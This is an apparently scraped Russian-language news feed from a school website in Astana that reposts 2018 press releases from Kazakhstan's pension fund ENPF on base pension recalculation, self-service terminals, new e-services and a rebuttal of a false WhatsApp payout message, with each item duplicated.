1 июля 2018 года? http://24.astana-bilim.kz/news/?pkid=1545381840484946Как будет начисляться базовая пенсия в Казахстане с 1 июля 2018 года? Если сейчас размер базовой пенсии у всех единый и не зависит от трудового стажа, то с 1 июля 2018 года повышение пенсии будет происходить за счет добавления процентов к базовой пенсии. Так как изменится сама система начисления базовой пенсии. Если сейчас базовая пенсия составляет 50% от прожиточного минимума. А после повышения с июля 2018 года будет составлять от 54% до 100% прожиточного минимума.По новой методике начисления пенсий учитываться будет трудовой стаж, выработанный до 1 января 1998 года, и период поступлений пенсионных взносов в накопительную пенсионную систему после 1998 года. Если трудовой стаж 10 лет или меньше, или трудового стажа нет вообще, базовая пенсия будет составлять 54% от прожиточного минимума.За каждый год свыше 10 лет стажа будет добавляться по 2%.Если же стаж 33 года и более – размер базовой пенсии будет равен прожиточному минимуму (28 284 тенге в 2018 г.).Например, размер базовой пенсии в 2017 году был 14 466 тенге. С 1 января 2018 (после повышения базовой пенсии у всех на 6%) – составит примерно 15 274.с 1.07.2018 она вырастет до 28 284 тенге (максимально при стаже работы 33 и более лет).Перерасчет базовой пенсии будет произведен единовременно для всех пенсионеров.Пересчет базовой пенсии для тех, кто уже находится на заслуженном отдыхе, будет произведен автоматически. Никаких дополнительных документов предоставлять не нужно. Все данные о перечислениях в пенсионную накопительную систему имеются в единой информационной системе.Сведения о трудовом стаже до 1.01.1998 г. необходимо будет представить только тем гражданам, которые выходят на пенсию после 1 июля 2018 г. Как будет начисляться базовая пенсия в Казахстане с 1 июля 2018 года? Если сейчас размер базовой пенсии у всех единый и не зависит от трудового стажа, то с 1 июля 2018 года повышение пенсии будет происходить за счет добавления процентов к базовой пенсии. Так как изменится сама система начисления базовой пенсии. Если сейчас базовая пенсия составляет 50% от прожиточного минимума. А после повышения с июля 2018 года будет составлять от 54% до 100% прожиточного минимума.По новой методике начисления пенсий учитываться будет трудовой стаж, выработанный до 1 января 1998 года, и период поступлений пенсионных взносов в накопительную пенсионную систему после 1998 года. Если трудовой стаж 10 лет или меньше, или трудового стажа нет вообще, базовая пенсия будет составлять 54% от прожиточного минимума.За каждый год свыше 10 лет стажа будет добавляться по 2%.Если же стаж 33 года и более – размер базовой пенсии будет равен прожиточному минимуму (28 284 тенге в 2018 г.).Например, размер базовой пенсии в 2017 году был 14 466 тенге. С 1 января 2018 (после повышения базовой пенсии у всех на 6%) – составит примерно 15 274.с 1.07.2018 она вырастет до 28 284 тенге (максимально при стаже работы 33 и более лет).Перерасчет базовой пенсии будет произведен единовременно для всех пенсионеров.Пересчет базовой пенсии для тех, кто уже находится на заслуженном отдыхе, будет произведен автоматически. Никаких дополнительных документов предоставлять не нужно. Все данные о перечислениях в пенсионную накопительную систему имеются в единой информационной системе.Сведения о трудовом стаже до 1.01.1998 г. необходимо будет представить только тем гражданам, которые выходят на пенсию после 1 июля 2018 г. 24mektepFri, 21 Dec 2018 14:43:06 +0600http://24.astana-bilim.kz/news/?pkid=1545381840484946Сайт школы №24 г.Астанаhttp://24.astana-bilim.kz/news/?pkid=1545381840484946О работе терминалов самообслуживанияhttp://24.astana-bilim.kz/news/?pkid=1545381784190034О работе терминалов самообслуживания Алматы, Казахстан –Во всех 18 филиалах ЕНПФ работают Терминалы самообслуживания.Терминал дает вкладчикам и получателям возможность самостоятельного, без участия оператора, доступа к пенсионным услугам ЕНПФ. Устройство представляет собой монолитный корпус с сенсорным экраном. Внутри корпуса размещен системный блок нового поколения, позволяющий обеспечивать максимально быструю работу с терминалом.В среднем за месяц проводится порядка 1550 операций. Наиболее востребованными из них являются: заключение договора – 48,62% и изменение реквизитов – 43,03% от общего числа проведенных операций.Посредством терминала самообслуживания воспользоваться такими услугами, как получение справки о наличии счетов, получение выписки с индивидуального пенсионного счета (ИПС), отслеживание статуса поданного заявления, получение дубликата договора можно с помощьюдвух методов аутентификации:ИИН и пароль; при помощи ЭЦП на удостоверении личности. Тогда как для того чтобы подать заявление на заключение договора по обязательным пенсионным взносам (ОПВ) и изменить реквизиты,в качестве метода аутентификации необходимо только наличие ЭЦП на удостоверении личности.В рамках Корпоративной стратегии развития АО «ЕНПФ»на 2017-2021 годы Фонд оказывает организационное содействие вкладчикам в формировании пенсионных накоплений посредством повышения качества услуг и развитиясистем прямого, дистанционного и самостоятельного обслуживания.С прошлого года внедрены в электронном формате практически все основные виды пенсионных услуг, в том числе открытие ИПС по учету обязательных пенсионных взносов, открытие ИПС по учету добровольных пенсионных взносов, внесение изменений в реквизиты вкладчика (получателя), подача заявлений на выплату в связи с установлением инвалидности 1, 2 группы бессрочно.Всего за 9 месяцев 2018 года количество оказанных услуг в офисах и в электронном видесоставило порядка 15,7 млн операций, из них 11,5 млн операций были осуществлены в электронном виде, что на 2,4 млн операций больше, чем за аналогичный период прошлого года, то есть прирост составил 25%.АО «ЕНПФ» постоянно работает над повышением качества оказываемых услуг, постоянно их совершенствуя и предоставляя населению удобные современные опции. Так, в ближайшее время планируется ввести в промышленную эксплуатацию VTM- терминалы, которые предоставят возможность вкладчикам получить консультационные услуги посредством видео-связи с оператором Фонда. ЕНПФ создан 22 августа 2013 года на базе АО «НПФ «ГНПФ». Учредителем и акционером ЕНПФ является Правительство Республики Казахстан в лице ГУ «Комитет государственного имущества и приватизации» Министерства финансов Республики Казахстан. Доверительное управление пенсионными активами ЕНПФ осуществляет Национальный Банк Республики Казахстан. С 1 января 2016 года функции по выработке предложений по повышению эффективности управления пенсионными активами переданы Совету по управлению Национальным фондом. В соответствии с пенсионным законодательством ЕНПФ осуществляет привлечение обязательных пенсионных взносов, обязательных профессиональных пенсионных взносов, добровольных пенсионных взносов, пенсионные выплаты, индивидуальный учет пенсионных накоплений и выплат, предоставляет вкладчику (получателю) информацию о состоянии его пенсионных накоплений (подробнее на www.enpf.kz). Пресс-центр АО «ЕНПФ»Контакты для СМИ: <a href="mailto:press@enpf.kz">press@enpf.kz</a>О работе терминалов самообслуживания Алматы, Казахстан –Во всех 18 филиалах ЕНПФ работают Терминалы самообслуживания.Терминал дает вкладчикам и получателям возможность самостоятельного, без участия оператора, доступа к пенсионным услугам ЕНПФ. Устройство представляет собой монолитный корпус с сенсорным экраном. Внутри корпуса размещен системный блок нового поколения, позволяющий обеспечивать максимально быструю работу с терминалом.В среднем за месяц проводится порядка 1550 операций. Наиболее востребованными из них являются: заключение договора – 48,62% и изменение реквизитов – 43,03% от общего числа проведенных операций.Посредством терминала самообслуживания воспользоваться такими услугами, как получение справки о наличии счетов, получение выписки с индивидуального пенсионного счета (ИПС), отслеживание статуса поданного заявления, получение дубликата договора можно с помощьюдвух методов аутентификации:ИИН и пароль; при помощи ЭЦП на удостоверении личности. Тогда как для того чтобы подать заявление на заключение договора по обязательным пенсионным взносам (ОПВ) и изменить реквизиты,в качестве метода аутентификации необходимо только наличие ЭЦП на удостоверении личности.В рамках Корпоративной стратегии развития АО «ЕНПФ»на 2017-2021 годы Фонд оказывает организационное содействие вкладчикам в формировании пенсионных накоплений посредством повышения качества услуг и развитиясистем прямого, дистанционного и самостоятельного обслуживания.С прошлого года внедрены в электронном формате практически все основные виды пенсионных услуг, в том числе открытие ИПС по учету обязательных пенсионных взносов, открытие ИПС по учету добровольных пенсионных взносов, внесение изменений в реквизиты вкладчика (получателя), подача заявлений на выплату в связи с установлением инвалидности 1, 2 группы бессрочно.Всего за 9 месяцев 2018 года количество оказанных услуг в офисах и в электронном видесоставило порядка 15,7 млн операций, из них 11,5 млн операций были осуществлены в электронном виде, что на 2,4 млн операций больше, чем за аналогичный период прошлого года, то есть прирост составил 25%.АО «ЕНПФ» постоянно работает над повышением качества оказываемых услуг, постоянно их совершенствуя и предоставляя населению удобные современные опции. Так, в ближайшее время планируется ввести в промышленную эксплуатацию VTM- терминалы, которые предоставят возможность вкладчикам получить консультационные услуги посредством видео-связи с оператором Фонда. ЕНПФ создан 22 августа 2013 года на базе АО «НПФ «ГНПФ». Учредителем и акционером ЕНПФ является Правительство Республики Казахстан в лице ГУ «Комитет государственного имущества и приватизации» Министерства финансов Республики Казахстан. Доверительное управление пенсионными активами ЕНПФ осуществляет Национальный Банк Республики Казахстан. С 1 января 2016 года функции по выработке предложений по повышению эффективности управления пенсионными активами переданы Совету по управлению Национальным фондом. В соответствии с пенсионным законодательством ЕНПФ осуществляет привлечение обязательных пенсионных взносов, обязательных профессиональных пенсионных взносов, добровольных пенсионных взносов, пенсионные выплаты, индивидуальный учет пенсионных накоплений и выплат, предоставляет вкладчику (получателю) информацию о состоянии его пенсионных накоплений (подробнее на www.enpf.kz). Пресс-центр АО «ЕНПФ»Контакты для СМИ: <a href="mailto:press@enpf.kz">press@enpf.kz</a>24mektepFri, 21 Dec 2018 14:33:14 +0600http://24.astana-bilim.kz/news/?pkid=1545381784190034Сайт школы №24 г.Астанаhttp://24.astana-bilim.kz/news/?pkid=1545381784190034Новый канал взаимодействия с вкладчикамиhttp://24.astana-bilim.kz/news/?pkid=1545381191682663Новый канал взаимодействия с вкладчиками<table width="100%"><tbody><tr><td>Алматы, Казахстан – АО «ЕНПФ» сообщает о внедрении услуги Whatsapp – нового дистанционного канала взаимодействия с потребителями, в том числе находящимися за рубежом, по номеру 8-777-000-1418.Новая услуга позволяет быстро получить необходимую информацию о накопительной пенсионной системе и деятельности ЕНПФ в автоматическом режиме без необходимости осуществления звонка в Call-центр или посещения отделений Фонда.Информационные технологии, используемые ЕНПФ, помогают совершенствовать и развивать качество и доступность пенсионных услуг. </td></tr></tbody></table>ЕНПФ создан 22 августа 2013 года на базе АО «НПФ «ГНПФ». Учредителем и акционером ЕНПФ является Правительство Республики Казахстан в лице ГУ «Комитет государственного имущества и приватизации» Министерства финансов Республики Казахстан. Доверительное управление пенсионными активами ЕНПФ осуществляет Национальный Банк Республики Казахстан. С 1 января 2016 года функции по выработке предложений по повышению эффективности управления пенсионными активами переданы Совету по управлению Национальным фондом.В соответствии с пенсионным законодательством ЕНПФ осуществляет привлечение обязательных пенсионных взносов, обязательных профессиональных пенсионных взносов, добровольных пенсионных взносов, пенсионные выплаты, индивидуальный учет пенсионных накоплений и выплат, предоставляет вкладчику (получателю) информацию о состоянии его пенсионных накоплений (подробнее на www.enpf.kz). Пресс-центр АО «ЕНПФ»Контакты для СМИ: <a href="mailto:press@enpf.kz">press@enpf.kz</a>Новый канал взаимодействия с вкладчиками<table width="100%"><tbody><tr><td>Алматы, Казахстан – АО «ЕНПФ» сообщает о внедрении услуги Whatsapp – нового дистанционного канала взаимодействия с потребителями, в том числе находящимися за рубежом, по номеру 8-777-000-1418.Новая услуга позволяет быстро получить необходимую информацию о накопительной пенсионной системе и деятельности ЕНПФ в автоматическом режиме без необходимости осуществления звонка в Call-центр или посещения отделений Фонда.Информационные технологии, используемые ЕНПФ, помогают совершенствовать и развивать качество и доступность пенсионных услуг. </td></tr></tbody></table>ЕНПФ создан 22 августа 2013 года на базе АО «НПФ «ГНПФ». Учредителем и акционером ЕНПФ является Правительство Республики Казахстан в лице ГУ «Комитет государственного имущества и приватизации» Министерства финансов Республики Казахстан. Доверительное управление пенсионными активами ЕНПФ осуществляет Национальный Банк Республики Казахстан. С 1 января 2016 года функции по выработке предложений по повышению эффективности управления пенсионными активами переданы Совету по управлению Национальным фондом.В соответствии с пенсионным законодательством ЕНПФ осуществляет привлечение обязательных пенсионных взносов, обязательных профессиональных пенсионных взносов, добровольных пенсионных взносов, пенсионные выплаты, индивидуальный учет пенсионных накоплений и выплат, предоставляет вкладчику (получателю) информацию о состоянии его пенсионных накоплений (подробнее на www.enpf.kz). Пресс-центр АО «ЕНПФ»Контакты для СМИ: <a href="mailto:press@enpf.kz">press@enpf.kz</a>24mektepFri, 21 Dec 2018 14:29:34 +0600http://24.astana-bilim.kz/news/?pkid=1545381191682663Сайт школы №24 г.Астанаhttp://24.astana-bilim.kz/news/?pkid=1545381191682663Еще одной новой электронной услугой ЕНПФ стало большеhttp://24.astana-bilim.kz/news/?pkid=1545380972790166Еще одной новой электронной услугой ЕНПФ стало больше Обеспечить равные условия всем своим вкладчикам (получателям) – одна из приоритетных задач, стоящих перед ЕНПФ сегодня. ЕНПФ продолжает следовать по пути оптимизации и совершенствования предоставляемых услуг населению, и предлагает вкладчикам (получателям) новые и современные услуги, которые избавляют их от необходимости тратить время на посещение офиса ЕНПФ с заполнением бумажных документов. Так, с июля 2018 года на веб-сайте enpf.kz в Личном кабинете и разделе «Электронные сервисы» была реализована новая услуга – заключение договора о пенсионном обеспечении за счет добровольных пенсионных взносов (в свою пользу) при наличии у вкладчика (получателя) электронной цифровой подписи (ЭЦП).Данная процедура занимает несколько минут. После авторизации и проверки ЭЦП вкладчика, происходит его идентификация в Государственной Базе Данных «Физические лица» (ГБД ФЛ) и в Базе Данных Фонда. В случае успешного прохождения всех проверок, вкладчику открывается электронная форма ввода данных для открытия нового индивидуального пенсионного счета по учету добровольных пенсионных взносов. После подписания ключом ЭЦП вкладчику выдается Справка об открытии индивидуального песионного счета в АО "ЕНПФ" с возможностью сохранения и (или) распечатки. Автоматически к договору о пенсионном обеспечении за счет добровольных пенсионных взносов прикрепляются следующие документы (на выбранном пользователем языке):- справка об открытии ИПС (pdf-документ и xml-документ, подписанный ЭЦП Фонда);- договор о пенсионном обеспечении за счет добровольных пенсионных взносов (для вкладчика, являющегося физическим лицом), подписанное ЭЦП получателя (pdf-документ и xml-документ);- анкета вкладчика (xml-документ);- ответ ГБД ФЛ (pdf-документ).Многие действующие с прошлого года на официальном сайте ЕНПФ электронные сервисы в 2018 году планируется сделать доступными также через мобильное приложение ЕНПФ. Пресс-центр АО «ЕНПФ»Контакты для СМИ: <a href="mailto:press@enpf.kz">press@enpf.kz</a>Еще одной новой электронной услугой ЕНПФ стало больше Обеспечить равные условия всем своим вкладчикам (получателям) – одна из приоритетных задач, стоящих перед ЕНПФ сегодня. ЕНПФ продолжает следовать по пути оптимизации и совершенствования предоставляемых услуг населению, и предлагает вкладчикам (получателям) новые и современные услуги, которые избавляют их от необходимости тратить время на посещение офиса ЕНПФ с заполнением бумажных документов. Так, с июля 2018 года на веб-сайте enpf.kz в Личном кабинете и разделе «Электронные сервисы» была реализована новая услуга – заключение договора о пенсионном обеспечении за счет добровольных пенсионных взносов (в свою пользу) при наличии у вкладчика (получателя) электронной цифровой подписи (ЭЦП).Данная процедура занимает несколько минут. После авторизации и проверки ЭЦП вкладчика, происходит его идентификация в Государственной Базе Данных «Физические лица» (ГБД ФЛ) и в Базе Данных Фонда. В случае успешного прохождения всех проверок, вкладчику открывается электронная форма ввода данных для открытия нового индивидуального пенсионного счета по учету добровольных пенсионных взносов. После подписания ключом ЭЦП вкладчику выдается Справка об открытии индивидуального песионного счета в АО "ЕНПФ" с возможностью сохранения и (или) распечатки. Автоматически к договору о пенсионном обеспечении за счет добровольных пенсионных взносов прикрепляются следующие документы (на выбранном пользователем языке):- справка об открытии ИПС (pdf-документ и xml-документ, подписанный ЭЦП Фонда);- договор о пенсионном обеспечении за счет добровольных пенсионных взносов (для вкладчика, являющегося физическим лицом), подписанное ЭЦП получателя (pdf-документ и xml-документ);- анкета вкладчика (xml-документ);- ответ ГБД ФЛ (pdf-документ).Многие действующие с прошлого года на официальном сайте ЕНПФ электронные сервисы в 2018 году планируется сделать доступными также через мобильное приложение ЕНПФ. Пресс-центр АО «ЕНПФ»Контакты для СМИ: <a href="mailto:press@enpf.kz">press@enpf.kz</a>24mektepFri, 21 Dec 2018 14:28:14 +0600http://24.astana-bilim.kz/news/?pkid=1545380972790166Сайт школы №24 г.Астанаhttp://24.astana-bilim.kz/news/?pkid=1545380972790166В филиале в г. Астана обсудили итоги и перспективы казахстанской накопительной пенсионной системыhttp://24.astana-bilim.kz/news/?pkid=1545380892282562В филиале в г. Астана обсудили итоги и перспективы казахстанской накопительной пенсионной системы 13 декабря в Астане прошел круглый стол на тему: «20-летие накопительной пенсионной системы. Основы пенсионной системы РК». Заседание в режиме форум-совещания состоялось по инициативе ЕНПФ при участии сотрудников Фонда, представителей Министерства труда и социальной защиты населения РК, Государственного Фонда социального страхования, Фонда Медицинского Страхования и Государственной Корпорации «Правительство для граждан», членов профсоюзов, Палаты предпринимателей и партии «НұрОтан», а также людей, стоявших у истоков становления системы, представителей СМИ, экспертов и вкладчиков (получателей). Участники круглого стола обсудили причины перехода страны к накопительной пенсионной системе, плюсы и минусы создания ЕНПФ, современное состояние и дальнейшие перспективы развития накопительной пенсионной системы. А также обменялись мнениями по вопросам формирования культуры пенсионных накоплений у казахстанцев, особенно молодого поколения и самозанятого населения, а также о роли добровольных пенсионных взносов как способа формирования пенсионного капитала. Открыл заседание директор филиала в г. Астана-Управляющий директор Мурат Шарипов. Он поприветствовал собравшихся, пожелал плодотворной работы и заинтересованного обсуждения вопросов, связанных с накопительной пенсионной системы в целом и деятельности ЕНПФ в частности. В своем выступлении он также отметил работу Фонда, направленную как на повышение качества пенсионных услуг, так и на повышение осведомленности населения о накопительной пенсионной системе и их финансовой грамотности. По итогам встречи участники пришли к выводу, что Казахстан 20 лет назад сделал правильный выбор, проведя первым среди стран СНГ пенсионную реформу.Система состоялась, доказала свою кризисоустойчивость и имеет потенциал для развития. Вместе с тем собравшиеся отметили, что развитие накопительной пенсионной системы, ее успешность, адекватность, в большей степени, зависят от экономической ситуации в стране: рост реального сектора экономики способствует росту производительности труда, росту доходов населения. Снижение инфляции, стабильность цен в экономике окажут прямое положительное влияние на реальную стоимость пенсионных накоплений. Увеличение занятости позволит населению производить регулярные отчисления от своих доходов в счет будущих накоплений. ЕНПФ создан 22 августа 2013 года на базе АО «НПФ «ГНПФ». Учредителем и акционером ЕНПФ является Правительство Республики Казахстан в лице ГУ «Комитет государственного имущества и приватизации» Министерства финансов Республики Казахстан. Доверительное управление пенсионными активами ЕНПФ осуществляет Национальный Банк Республики Казахстан. С 1 января 2016 года функции по выработке предложений по повышению эффективности управления пенсионными активами переданы Совету по управлению Национальным фондом.В соответствии с пенсионным законодательством ЕНПФ осуществляет привлечение обязательных пенсионных взносов, обязательных профессиональных пенсионных взносов, добровольных пенсионных взносов, пенсионные выплаты, индивидуальный учет пенсионных накоплений и выплат, предоставляет вкладчику (получателю) информацию о состоянии его пенсионных накоплений (подробнее на www.enpf.kz). Пресс-центр АО «ЕНПФ»Контакты для СМИ: <a href="mailto:press@enpf.kz">press@enpf.kz</a> В филиале в г. Астана обсудили итоги и перспективы казахстанской накопительной пенсионной системы 13 декабря в Астане прошел круглый стол на тему: «20-летие накопительной пенсионной системы. Основы пенсионной системы РК». Заседание в режиме форум-совещания состоялось по инициативе ЕНПФ при участии сотрудников Фонда, представителей Министерства труда и социальной защиты населения РК, Государственного Фонда социального страхования, Фонда Медицинского Страхования и Государственной Корпорации «Правительство для граждан», членов профсоюзов, Палаты предпринимателей и партии «НұрОтан», а также людей, стоявших у истоков становления системы, представителей СМИ, экспертов и вкладчиков (получателей). Участники круглого стола обсудили причины перехода страны к накопительной пенсионной системе, плюсы и минусы создания ЕНПФ, современное состояние и дальнейшие перспективы развития накопительной пенсионной системы. А также обменялись мнениями по вопросам формирования культуры пенсионных накоплений у казахстанцев, особенно молодого поколения и самозанятого населения, а также о роли добровольных пенсионных взносов как способа формирования пенсионного капитала. Открыл заседание директор филиала в г. Астана-Управляющий директор Мурат Шарипов. Он поприветствовал собравшихся, пожелал плодотворной работы и заинтересованного обсуждения вопросов, связанных с накопительной пенсионной системы в целом и деятельности ЕНПФ в частности. В своем выступлении он также отметил работу Фонда, направленную как на повышение качества пенсионных услуг, так и на повышение осведомленности населения о накопительной пенсионной системе и их финансовой грамотности. По итогам встречи участники пришли к выводу, что Казахстан 20 лет назад сделал правильный выбор, проведя первым среди стран СНГ пенсионную реформу.Система состоялась, доказала свою кризисоустойчивость и имеет потенциал для развития. Вместе с тем собравшиеся отметили, что развитие накопительной пенсионной системы, ее успешность, адекватность, в большей степени, зависят от экономической ситуации в стране: рост реального сектора экономики способствует росту производительности труда, росту доходов населения. Снижение инфляции, стабильность цен в экономике окажут прямое положительное влияние на реальную стоимость пенсионных накоплений. Увеличение занятости позволит населению производить регулярные отчисления от своих доходов в счет будущих накоплений. ЕНПФ создан 22 августа 2013 года на базе АО «НПФ «ГНПФ». Учредителем и акционером ЕНПФ является Правительство Республики Казахстан в лице ГУ «Комитет государственного имущества и приватизации» Министерства финансов Республики Казахстан. Доверительное управление пенсионными активами ЕНПФ осуществляет Национальный Банк Республики Казахстан. С 1 января 2016 года функции по выработке предложений по повышению эффективности управления пенсионными активами переданы Совету по управлению Национальным фондом.В соответствии с пенсионным законодательством ЕНПФ осуществляет привлечение обязательных пенсионных взносов, обязательных профессиональных пенсионных взносов, добровольных пенсионных взносов, пенсионные выплаты, индивидуальный учет пенсионных накоплений и выплат, предоставляет вкладчику (получателю) информацию о состоянии его пенсионных накоплений (подробнее на www.enpf.kz). Пресс-центр АО «ЕНПФ»Контакты для СМИ: <a href="mailto:press@enpf.kz">press@enpf.kz</a> 24mektepFri, 21 Dec 2018 14:26:16 +0600http://24.astana-bilim.kz/news/?pkid=1545380892282562Сайт школы №24 г.Астанаhttp://24.astana-bilim.kz/news/?pkid=1545380892282562ЕНПФ проводит активную работу с самозанятым населениемhttp://24.astana-bilim.kz/news/?pkid=1545380774342312ЕНПФ проводит активную работу с самозанятым населением С февраля 2018 года ЕНПФ усилил работу с самозанятым населением. Инициирована кампания по отработке индивидуальных пенсионных счетов, на которые не поступают пенсионные взносы. В базе данных вкладчиков идентифицированы счета, открытые в период с 2015 по 2017 годы, но до настоящего дня остающиеся нулевыми, а также счета с накоплениями, на которые в течение 2017 года взносы не поступали. В первом полугодии 2018 года планируется охватить порядка 325 тысяч вкладчиков. Так, за период февраль-март 2018 г была налажена связь с более чем 71 тыс. вкладчиков. По итогам телефонных контактов 25% из числа этих вкладчиков, а это 8 953 человек обратились в Фонд за дополнительной консультацией. И на 9 789 ИПС поступили взносы, что составляет 14% от количества установленных контактов. По результатам анкетирования 68% из количества установленных контактов являются безработными, 15% самозанятыми, которые получили консультации по действующим социальным программам продуктивной занятости и массового предпринимательства. Работа в этом направлении будет продолжена с целью максимального охвата всего экономически активного населения накопительной пенсионной системой. ЕНПФ создан 22 августа 2013 года на базе АО «НПФ «ГНПФ». Учредителем и акционером ЕНПФ является Правительство Республики Казахстан в лице ГУ «Комитет государственного имущества и приватизации» Министерства финансов Республики Казахстан. Доверительное управление пенсионными активами ЕНПФ осуществляет Национальный Банк Республики Казахстан. С 1 января 2016 года функции по выработке предложений по повышению эффективности управления пенсионными активами переданы Совету по управлению Национальным фондом, который возглавляет Президент Республики Казахстан.В соответствии с пенсионным законодательством ЕНПФ осуществляет привлечение обязательных пенсионных взносов, обязательных профессиональных пенсионных взносов, добровольных пенсионных взносов, пенсионные выплаты, индивидуальный учет пенсионных накоплений и выплат, предоставляет вкладчику (получателю) информацию о состоянии его пенсионных накоплений (подробнее на www.enpf.kz). Пресс-центр АО «ЕНПФ»Контакты для СМИ: <a href="mailto:press@enpf.kz">press@enpf.kz</a>ЕНПФ проводит активную работу с самозанятым населением С февраля 2018 года ЕНПФ усилил работу с самозанятым населением. Инициирована кампания по отработке индивидуальных пенсионных счетов, на которые не поступают пенсионные взносы. В базе данных вкладчиков идентифицированы счета, открытые в период с 2015 по 2017 годы, но до настоящего дня остающиеся нулевыми, а также счета с накоплениями, на которые в течение 2017 года взносы не поступали. В первом полугодии 2018 года планируется охватить порядка 325 тысяч вкладчиков. Так, за период февраль-март 2018 г была налажена связь с более чем 71 тыс. вкладчиков. По итогам телефонных контактов 25% из числа этих вкладчиков, а это 8 953 человек обратились в Фонд за дополнительной консультацией. И на 9 789 ИПС поступили взносы, что составляет 14% от количества установленных контактов. По результатам анкетирования 68% из количества установленных контактов являются безработными, 15% самозанятыми, которые получили консультации по действующим социальным программам продуктивной занятости и массового предпринимательства. Работа в этом направлении будет продолжена с целью максимального охвата всего экономически активного населения накопительной пенсионной системой. ЕНПФ создан 22 августа 2013 года на базе АО «НПФ «ГНПФ». Учредителем и акционером ЕНПФ является Правительство Республики Казахстан в лице ГУ «Комитет государственного имущества и приватизации» Министерства финансов Республики Казахстан. Доверительное управление пенсионными активами ЕНПФ осуществляет Национальный Банк Республики Казахстан. С 1 января 2016 года функции по выработке предложений по повышению эффективности управления пенсионными активами переданы Совету по управлению Национальным фондом, который возглавляет Президент Республики Казахстан.В соответствии с пенсионным законодательством ЕНПФ осуществляет привлечение обязательных пенсионных взносов, обязательных профессиональных пенсионных взносов, добровольных пенсионных взносов, пенсионные выплаты, индивидуальный учет пенсионных накоплений и выплат, предоставляет вкладчику (получателю) информацию о состоянии его пенсионных накоплений (подробнее на www.enpf.kz). Пресс-центр АО «ЕНПФ»Контакты для СМИ: <a href="mailto:press@enpf.kz">press@enpf.kz</a>24mektepFri, 21 Dec 2018 14:18:59 +0600http://24.astana-bilim.kz/news/?pkid=1545380774342312Сайт школы №24 г.Астанаhttp://24.astana-bilim.kz/news/?pkid=1545380774342312ЕНПФ опровергает информацию, распространяемую по WhatsApphttp://24.astana-bilim.kz/news/?pkid=1545380337806644ЕНПФ опровергает информацию, распространяемую по WhatsApp Информация том, что пенсионный Фонд возмещает 150 000 тенге в связи с инфляцией, рассылаемая посредством WhatsApp вкладчикам (получателям), не соответствует действительности. Напоминаем, что в Казахстане действует уникальная модель государственной гарантии сохранности пенсионных накоплений. В соответствии со статьей 5 Закона Республики Казахстан «О пенсионном обеспечении в Республике Казахстан», государство гарантирует получателям сохранность обязательных пенсионных взносов и обязательных профессиональных пенсионных взносов в ЕНПФ в размере фактически внесенных взносов с учетом уровня инфляции на момент получения права на пенсионные выплаты. Выплата разницы (государственной гарантии) представляет собой единовременную выплату за счет средств государственного бюджета.Право на выплату по гарантии государства вкладчики получают при наступлении пенсионного возраста. Кроме того, это право имеют инвалиды І и ІІ групп, если инвалидность установлена бессрочно, лица, выехавшие на постоянное место жительства за пределы Казахстана, иностранцы и лица без гражданства, перечислявшие ОПВ, ОППВ,наследники в случае смерти лица, имеющего право на выплату по гарантии государства. Чтобы претендовать на гарантии от государства, необходимо обратиться с заявлением вМежведомственный расчетный центр социальных выплат Государственной корпорации «Правительство для граждан» по месту проживания. Для каждого индивидуально по специально разработанной методике будет произведен расчет, и человек получит выплату на свой банковский счет, если она ему действительно положена. Фонд предупреждает всех вкладчиков и получателей о необходимости критически относиться ко всякого рода сообщениям, распространяемым в социальных сетях, и доверять исключительно проверенной информации из официальных источников. ЕНПФ создан 22 августа 2013 года на базе АО «НПФ «ГНПФ». Учредителем и акционером ЕНПФ является Правительство Республики Казахстан в лице ГУ «Комитет государственного имущества и приватизации» Министерства финансов Республики Казахстан. Доверительное управление пенсионными активами ЕНПФ осуществляет Национальный Банк Республики Казахстан. С 1 января 2016 года функции по выработке предложений по повышению эффективности управления пенсионными активами переданы Совету по управлению Национальным фондом, который возглавляет Президент Республики Казахстан.В соответствии с пенсионным законодательством ЕНПФ осуществляет привлечение обязательных пенсионных взносов, обязательных профессиональных пенсионных взносов, добровольных пенсионных взносов, пенсионные выплаты, индивидуальный учет пенсионных накоплений и выплат, предоставляет вкладчику (получателю) информацию о состоянии его пенсионных накоплений (подробнее на www.enpf.kz). Пресс-центр АО «ЕНПФ»Контакты для СМИ: <a href="mailto:press@enpf.kz">press@enpf.kz</a>ЕНПФ опровергает информацию, распространяемую по WhatsApp Информация том, что пенсионный Фонд возмещает 150 000 тенге в связи с инфляцией, рассылаемая посредством WhatsApp вкладчикам (получателям), не соответствует действительности. Напоминаем, что в Казахстане действует уникальная модель государственной гарантии сохранности пенсионных накоплений. В соответствии со статьей 5 Закона Республики Казахстан «О пенсионном обеспечении в Республике Казахстан», государство гарантирует получателям сохранность обязательных пенсионных взносов и обязательных профессиональных пенсионных взносов в ЕНПФ в размере фактически внесенных взносов с учетом уровня инфляции на момент получения права на пенсионные выплаты. Выплата разницы (государственной гарантии) представляет собой единовременную выплату за счет средств государственного бюджета.Право на выплату по гарантии государства вкладчики получают при наступлении пенсионного возраста. Кроме того, это право имеют инвалиды І и ІІ групп, если инвалидность установлена бессрочно, лица, выехавшие на постоянное место жительства за пределы Казахстана, иностранцы и лица без гражданства, перечислявшие ОПВ, ОППВ,наследники в случае смерти лица, имеющего право на выплату по гарантии государства. Чтобы претендовать на гарантии от государства, необходимо обратиться с заявлением вМежведомственный расчетный центр социальных выплат Государственной корпорации «Правительство для граждан» по месту проживания. Для каждого индивидуально по специально разработанной методике будет произведен расчет, и человек получит выплату на свой банковский счет, если она ему действительно положена. Фонд предупреждает всех вкладчиков и получателей о необходимости критически относиться ко всякого рода сообщениям, распространяемым в социальных сетях, и доверять исключительно проверенной информации из официальных источников. ЕНПФ создан 22 августа 2013 года на базе АО «НПФ «ГНПФ». Учредителем и акционером ЕНПФ является Правительство Республики Казахстан в лице ГУ «Комитет государственного имущества и приватизации» Министерства финансов Республики Казахстан. Доверительное управление пенсионными активами ЕНПФ осуществляет Национальный Банк Республики Казахстан. С 1 января 2016 года функции по выработке предложений по повышению эффективности управления пенсионными активами переданы Совету по управлению Национальным фондом, который возглавляет Президент Республики Казахстан.В соответствии с пенсионным законодательством ЕНПФ осуществляет привлечение обязательных пенсионных взносов, обязательных профессиональных пенсионных взносов, добровольных пенсионных взносов, пенсионные выплаты, индивидуальный учет пенсионных накоплений и выплат, предоставляет вкладчику (получателю) информацию о состоянии его пенсионных накоплений (подробнее на www.enpf.kz). Пресс-центр АО «ЕНПФ»Контакты для СМИ: <a href="mailto:press@enpf.kz">press@enpf.kz</a>24mektepFri, 21 Dec 2018 14:12:16 +0600http://24.astana-bilim.kz/news/?pkid=1545380337806644Сайт школы №24 г.Астанаhttp://24.astana-bilim.kz/news/?pkid=1545380337806644АО «ЕНПФ» информирует вкладчиков о 